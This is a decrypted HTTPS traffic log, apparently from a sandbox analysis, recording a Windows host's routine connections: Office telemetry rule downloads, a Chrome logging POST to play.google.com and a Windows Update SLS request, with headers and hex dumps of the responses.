2024-10-30 03:34:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:24 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: c2db9b5f-901e-0015-105a-27b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033424Z-16849878b78p8hrf1se7fucxk8000000087g00000000rgw7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:24 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:24 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:24 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:24 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: fbbf15bf-401e-0015-226f-280e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033424Z-r197bdfb6b4wmcgqdschtyp7yg00000007e000000000a1vq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 03:34:24 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	49792	142.250.181.238	443	6120	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:25 UTC	903	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 918 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=518=lc7Awq3KcsY70HTTuvgfImHET9ijnWzolhXSvKXMqYGXtg5alOZWSgjCcnGGoAylTkkF7jNHkVEmM3wfXnhaIbfVzPYAvOOF6-t2x2i45KnC7gn4UL4A7A0D-sXwIyuEsFnjJSoohLbHAa9iwu5UxnEojMHQyTLMsfpMYrwxG9lQfwLaawo
2024-10-30 03:34:25 UTC	918	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 34 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 30 32 35 39 32 36 32 36 36 36 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.134"],[1,0,0,0,0]]],373,[["1730259262666",null,null,null,
2024-10-30 03:34:25 UTC	945	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=LheV3ZocgJi6ufLeNA0G3zwZT5OLCf_lsxVOFV_q_Z31DbdmZGuSRW2FAyHoWXd3nXyUA12qK3gVQ4TUvF-3h4QXP3PX_oG9lt6Yw5j7b9fbznotbtHdKDIUJpL7Wg7MqMtrRIjyF3i0gzzwUyou-tFOd3643WTiqNfoywjDyTlSlwBVACZs5AKIcCg; expires=Thu, 01-May-2025 03:34:25 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Wed, 30 Oct 2024 03:34:25 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Wed, 30 Oct 2024 03:34:25 GMT Connection: close Transfer-Encoding: chunked
2024-10-30 03:34:25 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-10-30 03:34:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:25 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:25 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 682e05b2-601e-005c-042b-2af06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033425Z-r197bdfb6b4grkz4xgvkar0zcs000000072000000000gn5u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:25 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:25 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:25 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 8e6d5db5-101e-0017-4c27-2747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033425Z-16849878b786fl7gm2qg4r5y7000000007sg00000000980w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:25 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:25 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:25 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: a3f41134-c01e-00ad-7d0b-29a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033425Z-15b8d89586f6nn8zqg1h5suba800000002rg0000000067gr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:25 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:25 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:25 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: c1144745-701e-0098-7f2c-26395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033425Z-r197bdfb6b48v72xb403uy6hns000000083000000000ctqy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:25 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:25 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:25 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:25 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 0944ca5a-501e-007b-292d-275ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033425Z-17c5cb586f62blg5ss55p9d6fn00000008dg0000000009pe x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:25 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.6	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:26 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:26 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 055e5760-501e-00a0-45eb-289d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033426Z-r197bdfb6b4c8q4qvwwy2byzsw00000007vg000000005azz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:26 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:26 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:26 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 9cbc4178-801e-008f-12a3-262c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033426Z-16849878b78tg5n42kspfr0x4800000007bg00000000txym x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:26 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	49800	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:26 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=tyPY8Ol6snxgu8a&MD=F+xczMGs HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-30 03:34:26 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: d915c360-7c36-442c-a057-2091a1173aec MS-RequestId: 10079380-d2e9-4565-b076-dffb3d865ee7 MS-CV: nALZk2uLYkiW3Ejp.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 30 Oct 2024 03:34:25 GMT Connection: close Content-Length: 24490
2024-10-30 03:34:26 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 